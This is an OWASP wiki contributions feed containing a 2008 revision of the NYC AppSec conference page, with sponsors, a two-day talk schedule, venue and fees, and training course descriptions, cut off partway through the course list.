<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
		<id>https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=TomRyan</id>
		<title>OWASP - User contributions [en]</title>
		<link rel="self" type="application/atom+xml" href="https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=TomRyan"/>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php/Special:Contributions/TomRyan"/>
		<updated>2026-04-23T13:11:11Z</updated>
		<subtitle>User contributions</subtitle>
		<generator>MediaWiki 1.27.2</generator>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_NYC_AppSec_2008_Conference&amp;diff=33786</id>
		<title>OWASP NYC AppSec 2008 Conference</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_NYC_AppSec_2008_Conference&amp;diff=33786"/>
				<updated>2008-07-09T19:24:39Z</updated>
		
		<summary type="html">&lt;p&gt;TomRyan: /* 2008 OWASP USA, NYC Conference Schedule – Sept 24th - Sept 25th */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= 2008 OWASP USA, NYC =&lt;br /&gt;
Last Update: {{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;[http://guest.cvent.com/i.aspx?4W,M3,828ca6d1-1b60-4105-8034-d344700e6956 http://www.owasp.org/images/6/61/Banner2_irfan.jpg]&amp;lt;/center&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;hr&amp;gt;&lt;br /&gt;
&amp;lt;center&amp;gt;[http://www.owasp.org/images/6/66/NY_Sponsorship_Form_update_%282%29.pdf Diamond Sponsor] 1/1 - [http://www.imperva.com http://www.owasp.org/images/d/de/Imperva_2color_RGB.jpg]&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;[https://www.owasp.org/images/6/66/NY_Sponsorship_Form_update_%282%29.pdf Platinum Sponsor] 2/3 - [http://www.whitehatsec.com http://www.owasp.org/images/archive/4/4d/20080703021901%21Whitehat.gif] - [http://www.cenzic.com/ https://www.owasp.org/images/b/bf/CenzicLogo_RGB.gif]  -  [http://www.owasp.org/images/6/66/NY_Sponsorship_Form_update_%282%29.pdf http://www.owasp.org/images/f/f8/Sponsorsm.gif] &amp;lt;/center&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.owasp.org/images/6/66/NY_Sponsorship_Form_update_%282%29.pdf Gold, Silver &amp;amp; Other Sponsors] - [http://www.isc2.org http://www.owasp.org/images/4/45/Isc2logo.gif] - [http://www.f5.com http://www.owasp.org/images/7/7e/50px-F5_50px.jpg] - [http://www.aspectsecurity.com http://www.owasp.org/images/d/d1/Aspect_logo.gif] - [http://www.foundstone.com/us/education-overview.asp http://www.owasp.org/images/2/26/Foundstone.jpg] - [http://www.proactiverisk.com https://www.owasp.org/images/9/97/Proactiverisk_logo.jpg] - [http://www.ouncelabs.com https://www.owasp.org/images/6/6e/OunceLabs_logo.jpg] - [http://www.fortify.com https://www.owasp.org/images/a/ac/Fortify.jpg] - [http://www.cigital.com/ https://www.owasp.org/images/b/be/Cigital_OWASP.GIF] - [http://www.accessitgroup.com https://www.owasp.org/images/6/6d/Accessit.JPG] - [http://evangelyze.net/marketing.asp https://www.owasp.org/images/1/10/Evlogo.jpg] - [http://www.arctecgroup.net http://www.owasp.org/images/b/bf/Arctec.jpg] - [http://www.airtightnetworks.net https://www.owasp.org/images/8/8b/Airtight.gif] - [http://www.securityuniversity.net/ https://www.owasp.org/images/0/0d/Security_university.jpg] - [http://www.owasp.org/images/6/66/NY_Sponsorship_Form_update_%282%29.pdf http://www.owasp.org/images/f/f8/Sponsorsm.gif]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;center&amp;gt;[https://www.owasp.org/images/6/66/NY_Sponsorship_Form_update_%282%29.pdf Sponsorship Opportunities] -- [http://www.owasp.org/index.php/OWASP_NYC_AppSec_2008_Conference-PRESS Press Registration] -- [http://www.owasp.org/index.php/Member_Offers Other OWASP Member Offers] &amp;lt;/center&amp;gt; &lt;br /&gt;
&amp;lt;hr&amp;gt;&lt;br /&gt;
In association with: [http://www.webappsec.org WASC], [http://www.nym-infragard.us NYM InfraGard], [http://aitglobal.com AITGlobal], [http://nyphp.org/index.php NYC PHP], [http://www.nycbug.org NYCBUG], [http://www.isacany.net ISACA], [http://www.issa.org ISSA] and [http://www.pace.edu Pace University] you're invited to (2) days of Seminars and Technology Pavilion from the world's best application security technology minds, (2) days of hardcore hands-on training, all held at &amp;lt;b&amp;gt;[http://www.pace.edu/page.cfm?doc_id=16157 Pace University]&amp;lt;/b&amp;gt;, located in downtown New York City at &amp;lt;b&amp;gt;One Pace Plaza New York, NY 10038.&amp;lt;/b&amp;gt; Event Fees: $350 Members / $400 Non-Members / $200 for Students for [http://www.owasp.org/index.php/OWASP_NYC_AppSec_2008_Conference#OWASP_NYC_AppSec_2008_Training_Courses_-_September_22nd_and_23rd.2C_2008 2 days of hands on training classes] are also available.&lt;br /&gt;
&amp;lt;center&amp;gt;[http://guest.cvent.com/i.aspx?4W,M3,828ca6d1-1b60-4105-8034-d344700e6956 http://www.owasp.org/images/7/7f/Register.gif]&lt;br /&gt;
To Get more involved and discuss this upcoming event [http://owaspfoundation.ning.com click here for forums] or visit other OWASP [http://www.owasp.org/index.php/Member_Offers member offers]&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== 2008 OWASP USA, NYC Conference Schedule – Sept 24th - Sept 25th ==&lt;br /&gt;
&amp;lt;center&amp;gt;[http://www.owasp.org/index.php/OWASP_NYC_AppSec_2008_Conference/speakeragreement OWASP Speaker Agreement]&amp;lt;/center&amp;gt;&lt;br /&gt;
{| style=&amp;quot;width:80%&amp;quot; border=&amp;quot;0&amp;quot; align=&amp;quot;center&amp;quot;&lt;br /&gt;
 ! colspan=&amp;quot;4&amp;quot; align=&amp;quot;center&amp;quot; style=&amp;quot;background:#4058A0; color:white&amp;quot; | Day 1 – Sept 24th, 2008 &lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:10%; background:#7B8ABD&amp;quot; | || style=&amp;quot;width:30%; background:#BC857A&amp;quot; | Track 1: &lt;br /&gt;
 | style=&amp;quot;width:30%; background:#BCA57A&amp;quot; | Track 2: &lt;br /&gt;
 | style=&amp;quot;width:30%; background:#99FF99&amp;quot; | Track 3: &lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:10%; background:#7B8ABD&amp;quot; | 07:30-10:00 || colspan=&amp;quot;3&amp;quot; style=&amp;quot;width:80%; background:#C2C2C2&amp;quot; align=&amp;quot;center&amp;quot; | '''Doors Open for Attendee/Speaker Registration &amp;amp; [http://www.owasp.org/index.php/OWASP_NYC_AppSec_2008_Conference#Technology_Pavilion_-_September_24th_and_25th Exhibit/Sponsor Area]'''&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
 | style=&amp;quot;width:10%; background:#7B8ABD&amp;quot; | 09:00-09:45 || colspan=&amp;quot;3&amp;quot; style=&amp;quot;width:80%; background:#F2F2F2&amp;quot; align=&amp;quot;center&amp;quot; | OWASP Version 3.0 who we are, where we are.. where we are going &lt;br /&gt;
''[http://www.owasp.org/index.php/Contact OWASP Foundation]: Jeff Williams, Dinis Cruz, Dave Wichers, Tom Brennan, Sebastien Deleersnyder, Paolo Perego, Kate Hartmann &amp;amp; Alison Shrader  &lt;br /&gt;
'' &lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width:10%; background:#7B8ABD&amp;quot; | 10:00-10:45 || style=&amp;quot;width:30%; background:#BC857A&amp;quot; align=&amp;quot;left&amp;quot; |  [http://www.owasp.org/index.php/AppSecEU08_Trends_in_Web_Hacking_Incidents:_What%27s_hot_for_2008 Analysis of the Web Hacking Incidents Database (WHID)]&lt;br /&gt;
''[http://blog.shezaf.com Ofer Shezaf]''&lt;br /&gt;
 | style=&amp;quot;width:30%; background:#BCA57A&amp;quot; align=&amp;quot;left&amp;quot; | [http://www.webappsecroadmap.com Web Application Security Road Map]  &amp;lt;br&amp;gt;&lt;br /&gt;
''[http://joesecurity.blogspot.com Joe White]''&lt;br /&gt;
| style=&amp;quot;width:30%; background:#99FF99&amp;quot; align=&amp;quot;left&amp;quot; |[https://buildsecurityin.us-cert.gov/swa/acqwg.html Enhancing the software acquisition process to address software assurance issues.]&lt;br /&gt;
''Stan Wisseman''&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width:10%; background:#7B8ABD&amp;quot; | 11:00-11:45 || style=&amp;quot;width:30%; background:#BC857A&amp;quot; align=&amp;quot;left&amp;quot; | Web Security Education using Open Source Tools&lt;br /&gt;
''Prof. Li-Chiou Chen &amp;amp; Chienitng Lin, [http://www.pace.edu/page.cfm?doc_id=16399 Pace Univ]''&lt;br /&gt;
 | style=&amp;quot;width:30%; background:#BCA57A&amp;quot; align=&amp;quot;left&amp;quot; | Http Bot Research&lt;br /&gt;
''[http://www.shadowserver.org/wiki/pmwiki.php?n=Shadowserver.Mission Andre M. DiMino - ShadowServer Foundation]''&lt;br /&gt;
| style=&amp;quot;width:30%; background:#99FF99&amp;quot; align=&amp;quot;left&amp;quot; | MalSpam Research &lt;br /&gt;
'' [http://www.knujon.com/bios.html Garth Bruen]''&lt;br /&gt;
|-&lt;br /&gt;
 | style=&amp;quot;width:10%; background:#7B8ABD&amp;quot; | 12:00-13:00 || colspan=&amp;quot;3&amp;quot; style=&amp;quot;width:80%; background:#F2F2F2&amp;quot; align=&amp;quot;center&amp;quot; |  [http://www.owasp.org/index.php/OWASP_NYC_AppSec_2008_Conference/ctf Capture the Flag] Sign-Up&lt;br /&gt;
''LUNCH - Provided by event sponsors @ TechExpo''&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width:10%; background:#7B8ABD&amp;quot; | 12:00-12:30 || style=&amp;quot;width:30%; background:#BC857A&amp;quot; align=&amp;quot;left&amp;quot; | e-Gateway&lt;br /&gt;
''[http://www.linkedin.com/in/tommyryan Tom Ryan]''&lt;br /&gt;
 | style=&amp;quot;width:30%; background:#BCA57A&amp;quot; align=&amp;quot;left&amp;quot; | Framework-level Threat Analysis: Adding Science to the Art of Source-code review&lt;br /&gt;
''Nishchal Bhalla''&lt;br /&gt;
| style=&amp;quot;width:30%; background:#99FF99&amp;quot; align=&amp;quot;left&amp;quot; | Automated Web-based Malware Behavioral Analysis &lt;br /&gt;
'' Tyler Hudak''&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width:10%; background:#7B8ABD&amp;quot; | 13:00-13:45 || style=&amp;quot;width:30%; background:#BC857A&amp;quot; align=&amp;quot;left&amp;quot; | Offensive Assessing Financial Applications&lt;br /&gt;
'' [http://www.owasp.org/index.php/OWASP_NYC_AppSec_2008_Conference-daniel-cuthbert Daniel Cuthbert]''&lt;br /&gt;
 | style=&amp;quot;width:30%; background:#BCA57A&amp;quot; align=&amp;quot;left&amp;quot; | WAF ModSecurity&lt;br /&gt;
''[http://www.thinkingstone.com/about/ivan-ristic.html Ivan Ristic]''&lt;br /&gt;
| style=&amp;quot;width:30%; background:#99FF99&amp;quot; align=&amp;quot;left&amp;quot; | OWASP &amp;amp; NYC&lt;br /&gt;
''[http://www.linkedin.com/in/davidstern2000 David Stern]''&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width:10%; background:#7B8ABD&amp;quot; | 14:00-14:45 || style=&amp;quot;width:30%; background:#BC857A&amp;quot; align=&amp;quot;left&amp;quot; | Logic Attacks and Inefficiencies of Robotic Detection&lt;br /&gt;
''[http://ha.ckers.org/blog/about Robert &amp;quot;RSnake&amp;quot; Hansen], CEO SecTheory''&lt;br /&gt;
 | style=&amp;quot;width:30%; background:#BCA57A&amp;quot; align=&amp;quot;left&amp;quot; | Reverse Engineering .NET &lt;br /&gt;
''Adam Boulton''&lt;br /&gt;
| style=&amp;quot;width:30%; background:#99FF99&amp;quot; align=&amp;quot;left&amp;quot; | JBroFuzz 0.1 - 1.1: Building a Java Fuzzer for the Web &lt;br /&gt;
''[http://www.owasp.org/index.php/OWASP_NYC_AppSec_2008_Conference-SPEAKER-Yiannis_Pavlosoglou Yiannis Pavlosoglou]''&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width:10%; background:#7B8ABD&amp;quot; | 15:00-15:45 || style=&amp;quot;width:30%; background:#BC857A&amp;quot; align=&amp;quot;left&amp;quot; |Industry Panel w/ Jennifer Bayuk CISO Bear Stearns, Mark Clancy EVP CitiGroup, Jim Routh CISO DTCC, Sunil Seshadri CISO NYSE-Euronet, Warren Axelrod SVP Bank of America, Joe Bernik Royal Bank of Scotland &amp;amp; Philip Venables CIRO, Goldman, Sachs&lt;br /&gt;
 | style=&amp;quot;width:30%; background:#BCA57A&amp;quot; align=&amp;quot;left&amp;quot; | [http://www.owasp.org/index.php/Wild_Wild_Web_on_Security_Planet Wild Wild Web on Security Planet]&lt;br /&gt;
''[http://www.expresscertifications.com/company/execmgt.aspx Mano Paul] CEO Express Certifications''&lt;br /&gt;
| style=&amp;quot;width:30%; background:#99FF99&amp;quot; align=&amp;quot;left&amp;quot; |[http://www.owasp.org/index.php/OWASP_NYC_AppSec_2008_Conference-SPEAKER-GunterOllmann Multidisciplinary Bank Attacks]&lt;br /&gt;
''Gunter Ollmann''&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width:10%; background:#7B8ABD&amp;quot; | 16:00-16:45 || style=&amp;quot;width:30%; background:#BC857A&amp;quot; align=&amp;quot;left&amp;quot; | OWASP Enterprise Security API [http://www.owasp.org/index.php/ESAPI (ESAPI) Project]&lt;br /&gt;
'' [http://www.aspectsecurity.com/management.htm Jeff Williams] &amp;amp; Jim Manico''&lt;br /&gt;
 | style=&amp;quot;width:30%; background:#BCA57A&amp;quot; align=&amp;quot;left&amp;quot; | Shootout @ Blackbox Corral&lt;br /&gt;
''Larry Suto ''&lt;br /&gt;
| style=&amp;quot;width:30%; background:#99FF99&amp;quot; align=&amp;quot;left&amp;quot; | 80% 10% 10%&lt;br /&gt;
'' [http://www.blogger.com/profile/07177656204885181542 Andy Steingruebl], Security @ PayPal''&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width:10%; background:#7B8ABD&amp;quot; | 17:00-17:45 || style=&amp;quot;width:30%; background:#BC857A&amp;quot; align=&amp;quot;left&amp;quot; | Threading the Needle:&lt;br /&gt;
&lt;br /&gt;
Bypassing web application/service security controls using Encoding, Transcoding, Filter Evasion, and other Canonicalization Attacks&lt;br /&gt;
'' [http://www.linkedin.com/in/arianevans Arian Evans]''&lt;br /&gt;
 | style=&amp;quot;width:30%; background:#BCA57A&amp;quot; align=&amp;quot;left&amp;quot; |Shhhh Don’t Tell Anybody &lt;br /&gt;
''[http://www.linkedin.com/in/ppetkov Petko D. Petkov]''&lt;br /&gt;
| style=&amp;quot;width:30%; background:#99FF99&amp;quot; align=&amp;quot;left&amp;quot; | [http://www.owasp.org/index.php/OWASP_NYC_AppSec_2008_Conference-SPEAKER-Andres_Riancho W3AF Open Source App Scanner]&lt;br /&gt;
''Andres Riancho''&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width:10%; background:#7B8ABD&amp;quot; | 18:00-18:45 || style=&amp;quot;width:30%; background:#BC857A&amp;quot; align=&amp;quot;left&amp;quot; | [http://www.owasp.org/index.php/Category:OWASP_Live_CD_Project OWASP Live CD]&lt;br /&gt;
'' [http://www.linkedin.com/in/packetfocus Joshua Perrymon]''&lt;br /&gt;
 | style=&amp;quot;width:30%; background:#BCA57A&amp;quot; align=&amp;quot;left&amp;quot; | Coding Secure w/PHP&lt;br /&gt;
''[http://www.linkedin.com/in/zaunere Hans Zaunere]''&lt;br /&gt;
| style=&amp;quot;width:30%; background:#99FF99&amp;quot; align=&amp;quot;left&amp;quot; | [http://www.owasp.org/index.php/Payment_Card_Data_Security_and_the_new_Enterprise_Java Payment Card Data Security and the new Enterprise Java]&lt;br /&gt;
''Dr. B. V. Kumar &amp;amp; Mr. Abhay Bhargav''&lt;br /&gt;
|-&lt;br /&gt;
 | style=&amp;quot;width:10%; background:#7B8ABD&amp;quot; | 20:00-23:00 || colspan=&amp;quot;3&amp;quot; style=&amp;quot;width:80%; background:#C2C2C2&amp;quot; align=&amp;quot;center&amp;quot; | OWASP NYC AppSec 2008 VIP Party&lt;br /&gt;
''Location: TBD''&lt;br /&gt;
|-&lt;br /&gt;
! colspan=&amp;quot;10&amp;quot; align=&amp;quot;center&amp;quot; style=&amp;quot;background:#4058A0; color:white&amp;quot; | Day 2 – Sept 25th, 2008 &lt;br /&gt;
|-&lt;br /&gt;
  | style=&amp;quot;width:10%; background:#99FF99&amp;quot; | 08:00-10:00 || colspan=&amp;quot;3&amp;quot; style=&amp;quot;width:80%; background:#F2F2F2&amp;quot; align=&amp;quot;center&amp;quot; |  BREAKFAST - Provided by event sponsors @ TechExpo&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width:10%; background:#7B8ABD&amp;quot; | 08:00-08:45 || style=&amp;quot;width:30%; background:#BC857A&amp;quot; align=&amp;quot;left&amp;quot; | State of the Union&lt;br /&gt;
''[http://www.aeispeakers.com/speakerbio.php?SpeakerID=1192 Prof. Howard A. Schmidt, CISSP, CISM (Hon.)] Current (ISC)² Security Strategist and Former White House Cyber Security Advisor''&lt;br /&gt;
 | style=&amp;quot;width:30%; background:#BCA57A&amp;quot; align=&amp;quot;left&amp;quot; | Best Practices Guide: Web Application Firewalls&lt;br /&gt;
''Dr. Georg Hess''&lt;br /&gt;
| style=&amp;quot;width:30%; background:#99FF99&amp;quot; align=&amp;quot;left&amp;quot; | The Good The Bad and The Ugly - Pen Testing VS. Source Code Analysis&lt;br /&gt;
''[http://www.linkedin.com/in/tommyryan Thomas Ryan]''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width:10%; background:#7B8ABD&amp;quot; | 09:00-09:45 || style=&amp;quot;width:30%; background:#BC857A&amp;quot; align=&amp;quot;left&amp;quot; | Good vs. Evil JavaScript&lt;br /&gt;
''[http://jeremiahgrossman.blogspot.com Jeremiah Grossman]''&lt;br /&gt;
 | style=&amp;quot;width:30%; background:#BCA57A&amp;quot; align=&amp;quot;left&amp;quot; | OWASP V2 Testing Guide 4.2.3 Spidering and Googling in depth &lt;br /&gt;
''[http://www.linkedin.com/in/ChristianHeinrich Christian Heinrich]''&lt;br /&gt;
| style=&amp;quot;width:30%; background:#99FF99&amp;quot; align=&amp;quot;left&amp;quot; | OWASP Web Services Top Ten&lt;br /&gt;
''[http://1raindrop.typepad.com Gunnar Peterson]''&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width:10%; background:#7B8ABD&amp;quot; | 10:00-10:45 || style=&amp;quot;width:30%; background:#BC857A&amp;quot; align=&amp;quot;left&amp;quot; | OWASP Update &lt;br /&gt;
''Dinis Cruz/Jeff Williams + Surprise Guest''&lt;br /&gt;
 | style=&amp;quot;width:30%; background:#BCA57A&amp;quot; align=&amp;quot;left&amp;quot; | Help Wanted 7 Things You Need to Know APPSEC/INFOSEC Employment&lt;br /&gt;
''[http://www.linkedin.com/pub/0/29/685 Lee Kushner]''&lt;br /&gt;
| style=&amp;quot;width:30%; background:#99FF99&amp;quot; align=&amp;quot;left&amp;quot; | APPSEC Industry Analysts&lt;br /&gt;
''Speaker TBD''&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width:10%; background:#7B8ABD&amp;quot; | 11:00-11:45 || style=&amp;quot;width:30%; background:#BC857A&amp;quot; align=&amp;quot;left&amp;quot; | [http://www.owasp.org/index.php/Category:OWASP_CLASP_Project CLASP (Comprehensive, Lightweight Application Security Process)]&lt;br /&gt;
''Pravir Chandra''&lt;br /&gt;
 | style=&amp;quot;width:30%; background:#BCA57A&amp;quot; align=&amp;quot;left&amp;quot; | Next Generation Cross Site Scripting Worms &lt;br /&gt;
''[http://i8jesus.com/?page_id=5 Arshan Dabirsiaghi]''&lt;br /&gt;
| style=&amp;quot;width:30%; background:#99FF99&amp;quot; align=&amp;quot;left&amp;quot; | Secure Software Impact&lt;br /&gt;
''[http://ouncelabs.com/company/team.asp Jack Danahy]''&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width:10%; background:#7B8ABD&amp;quot; | 12:00-12:45 || style=&amp;quot;width:30%; background:#BC857A&amp;quot; align=&amp;quot;left&amp;quot; | Security in Agile Development&lt;br /&gt;
''[http://www.owasp.org/index.php/User:Wichers Dave Wichers]''&lt;br /&gt;
 | style=&amp;quot;width:30%; background:#BCA57A&amp;quot; align=&amp;quot;left&amp;quot; | Security of Software-as-a-Service (SaaS)&lt;br /&gt;
''[http://www.linkedin.com/pub/6/372/45a James Landis]''&lt;br /&gt;
| style=&amp;quot;width:30%; background:#99FF99&amp;quot; align=&amp;quot;left&amp;quot; | [http://reversebenchmarking.com/About.html Open Reverse Benchmarking Project]&lt;br /&gt;
''Marce Luck &amp;amp; [http://www.linkedin.com/pub/1/507/616 Tom Stracener]''&lt;br /&gt;
|-&lt;br /&gt;
 | style=&amp;quot;width:10%; background:#7B8ABD&amp;quot; | 12:00-13:00 || colspan=&amp;quot;3&amp;quot; style=&amp;quot;width:80%; background:#F2F2F2&amp;quot; align=&amp;quot;center&amp;quot; | [http://www.owasp.org/index.php/OWASP_NYC_AppSec_2008_Conference/ctf Capture the Flag] Status&lt;br /&gt;
''LUNCH - Provided @ TechExpo''&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width:10%; background:#7B8ABD&amp;quot; | 13:00-13:45 || style=&amp;quot;width:30%; background:#BC857A&amp;quot; align=&amp;quot;left&amp;quot; | Security Research Report&lt;br /&gt;
''[http://www.linkedin.com/pub/5/742/233 Dinis Cruz]''&lt;br /&gt;
 | style=&amp;quot;width:30%; background:#BCA57A&amp;quot; align=&amp;quot;left&amp;quot; | [http://www.owasp.org/index.php/Category:OWASP_Pantera_Web_Assessment_Studio_Project Pantera Advances]&lt;br /&gt;
''[http://www.linkedin.com/pub/1/598/855 Simon Roses Femerling]''&lt;br /&gt;
| style=&amp;quot;width:30%; background:#99FF99&amp;quot; align=&amp;quot;left&amp;quot; | Lotus Notes Insecurity &lt;br /&gt;
''Jian Hui Wang''&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width:10%; background:#7B8ABD&amp;quot; | 14:00-14:45 || style=&amp;quot;width:30%; background:#BC857A&amp;quot; align=&amp;quot;left&amp;quot; | Practical Advanced Threat Modeling&lt;br /&gt;
''John Steven''&lt;br /&gt;
 | style=&amp;quot;width:30%; background:#BCA57A&amp;quot; align=&amp;quot;left&amp;quot; | [http://www.owasp.org/index.php/Category:OWASP_Orizon_Project Owasp Orizon]&lt;br /&gt;
''Paolo Perego''&lt;br /&gt;
| style=&amp;quot;width:30%; background:#99FF99&amp;quot; align=&amp;quot;left&amp;quot; | Building Usable Security&lt;br /&gt;
''Zed Abbadi''&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width:10%; background:#7B8ABD&amp;quot; | 15:00-15:45 || style=&amp;quot;width:30%; background:#BC857A&amp;quot; align=&amp;quot;left&amp;quot; | [http://www.owasp.org/index.php/Input_validation:_the_Good%2C_the_Bad_and_the_Ugly Input validation: the Good, the Bad and the Ugly]&lt;br /&gt;
''Johan Peeters''&lt;br /&gt;
 | style=&amp;quot;width:30%; background:#BCA57A&amp;quot; align=&amp;quot;left&amp;quot; | Off-shoring Application Development? Security is Still Your Problem&lt;br /&gt;
''Rohyt Belani''&lt;br /&gt;
| style=&amp;quot;width:30%; background:#99FF99&amp;quot; align=&amp;quot;left&amp;quot; | NIST SAMATE Static Analysis Tool Exposition (SATE)&lt;br /&gt;
''Vadim Okun''&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width:10%; background:#7B8ABD&amp;quot; | 16:00-16:45 || style=&amp;quot;width:30%; background:#BC857A&amp;quot; align=&amp;quot;left&amp;quot; | Vulnerabilities in application interpreters and runtimes&lt;br /&gt;
''Erik Cabetas''&lt;br /&gt;
 | style=&amp;quot;width:30%; background:#BCA57A&amp;quot; align=&amp;quot;left&amp;quot; | Flash Parameter Injection (FPI)&lt;br /&gt;
''Ayal Yogev &amp;amp; Adi Sharabani''&lt;br /&gt;
| style=&amp;quot;width:30%; background:#99FF99&amp;quot; align=&amp;quot;left&amp;quot; | Cross-Site Scripting Filter Evasion&lt;br /&gt;
''Alexios Fakos''&lt;br /&gt;
|-&lt;br /&gt;
 | style=&amp;quot;width:10%; background:#7B8ABD&amp;quot; | 17:00-17:45 || colspan=&amp;quot;3&amp;quot; style=&amp;quot;width:80%; background:#C2C2C2&amp;quot; align=&amp;quot;center&amp;quot; |  '''Wizdom of Crowds / CTF Awards &amp;amp; Raffles'''&lt;br /&gt;
|-&lt;br /&gt;
  | style=&amp;quot;width:10%; background:#7B8ABD&amp;quot; | 18:30-19:30 || colspan=&amp;quot;3&amp;quot; style=&amp;quot;width:80%; background:#C2C2C2&amp;quot; align=&amp;quot;center&amp;quot; | OWASP Foundation, Chapter Leader Meeting&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;[http://guest.cvent.com/i.aspx?4W,M3,828ca6d1-1b60-4105-8034-d344700e6956 http://www.owasp.org/images/7/7f/Register.gif]&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Technology Pavilion - September 24th and 25th  ==&lt;br /&gt;
&lt;br /&gt;
Want to see the latest offerings from technology product and service firms, visit the Technology Pavilion. On September 24th and 25th. 2 full days of exhibits by service providers and manufacturers from around the world.&lt;br /&gt;
&lt;br /&gt;
Do you want to preview the event space [http://www.flickr.com/photos/21550725@N04/sets/72157604662279903/detail Click Here]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;hr&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== [http://www.owasp.org/index.php/Category:OWASP_AppSec_Conference_Training OWASP NYC AppSec 2008 Training Courses - September 22nd and 23rd, 2008] ==&lt;br /&gt;
{| style=&amp;quot;width:80%&amp;quot; border=&amp;quot;0&amp;quot; align=&amp;quot;center&amp;quot;&lt;br /&gt;
 ! align=&amp;quot;center&amp;quot; style=&amp;quot;background:#4058A0; color:white&amp;quot; | T1. Defensive Programming - 2-Days - $1350&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;background:#F2F2F2&amp;quot; | This class will teach you how to program defensively. A must for developers, managers, testers and security professionals. Learn the latest techniques to build attack resistant code, protect from current and future vulnerabilities and how to secure an application from both implementation bugs and design flaws. The instructor Pravir Chandra is well known security expert, project lead for OWASP CLASP project and former co-founder &amp;amp; CTO of secure software [[:Category:OWASP_AppSec_Conference_Training | Learn More Here]]&lt;br /&gt;
&lt;br /&gt;
Instructor: Jason Rouse, Sr. Consultant, [http://www.cigital.com/training/series http://www.owasp.org/images/b/be/Cigital_OWASP.GIF]''' &lt;br /&gt;
 |-&lt;br /&gt;
{| style=&amp;quot;width:80%&amp;quot; border=&amp;quot;0&amp;quot; align=&amp;quot;center&amp;quot;&lt;br /&gt;
! align=&amp;quot;center&amp;quot; style=&amp;quot;background:#4058A0; color:white&amp;quot; | T2. Secure Coding for Java EE - 2-Days - $1350&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;background:#F2F2F2&amp;quot; | This course is similar to Aspect's Building and Testing Secure Web Applications except it includes a significant amount of Java focused content, including:&lt;br /&gt;
# Java EE security overview,&lt;br /&gt;
# All coding examples and recommendations are specifically focused on Java and Java servers, and&lt;br /&gt;
# 3 additional hands on coding labs where the students find and then fix security vulnerabilities in a Java EE application developed for the class.&lt;br /&gt;
&lt;br /&gt;
[[:Category:OWASP_AppSec_Conference_Training | Learn More Here]]&lt;br /&gt;
&lt;br /&gt;
Instructor: This tutorial is provided by longtime OWASP contributor: [http://www.aspectsecurity.com http://www.owasp.org/images/d/d1/Aspect_logo.gif]&lt;br /&gt;
'''&lt;br /&gt;
 |-&lt;br /&gt;
 ! align=&amp;quot;center&amp;quot; style=&amp;quot;background:#4058A0; color:white&amp;quot; | T3. Web Services and XML Security - 2-Days - $1350&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;background:#F2F2F2&amp;quot; | The movement towards Web Services and Service Oriented architecture (SOA) paradigms requires new security paradigms to deal with new risks posed by these architectures. This session takes a pragmatic approach towards identifying Web Services security risks and selecting and applying countermeasures to the application, code, web servers, databases, application, and identity servers and related software. [[:Category:OWASP_AppSec_Conference_Training | Learn More Here]]&lt;br /&gt;
&lt;br /&gt;
Instructor: Gunnar Peterson''' [http://www.arctecgroup.net https://www.owasp.org/images/b/bf/Arctec.jpg]&lt;br /&gt;
 |-&lt;br /&gt;
 ! align=&amp;quot;center&amp;quot; style=&amp;quot;background:#4058A0; color:white&amp;quot; | T4. Advanced Web Application Security Testing - 2-Days - $1350&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;background:#F2F2F2&amp;quot; | Course Overview While all developers need to know the basics of web application security testing, application security specialists will want to know all the advanced techniques for finding and diagnosing security problems in applications. Aspect’s Advanced Web Application Security Testing training is based on a decade of work verifying the security of critical applications. The course is taught by an experienced application security practitioner in an interactive manner. [[:Category:OWASP_AppSec_Conference_Training | Learn More Here]]&lt;br /&gt;
&lt;br /&gt;
